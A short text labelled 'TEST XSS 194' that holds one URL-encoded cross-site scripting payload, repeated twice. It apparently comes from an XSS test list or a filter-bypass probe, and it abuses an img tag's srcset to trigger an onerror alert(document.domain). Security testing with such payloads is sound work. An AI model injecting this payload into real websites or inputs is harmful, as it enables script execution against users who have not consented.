TEST XSS 194
%3Cimg%20src=%22x%22%20srcset=%22https://a.com,%20https://a.com/onerror=alert(document.domain)//%202x%22%20alt=%22x%22%20/%3E
%3Cimg%20src=%22x%22%20srcset=%22https://a.com,%20https://a.com/onerror=alert(document.domain)//%202x%22%20alt=%22x%22%20/%3E
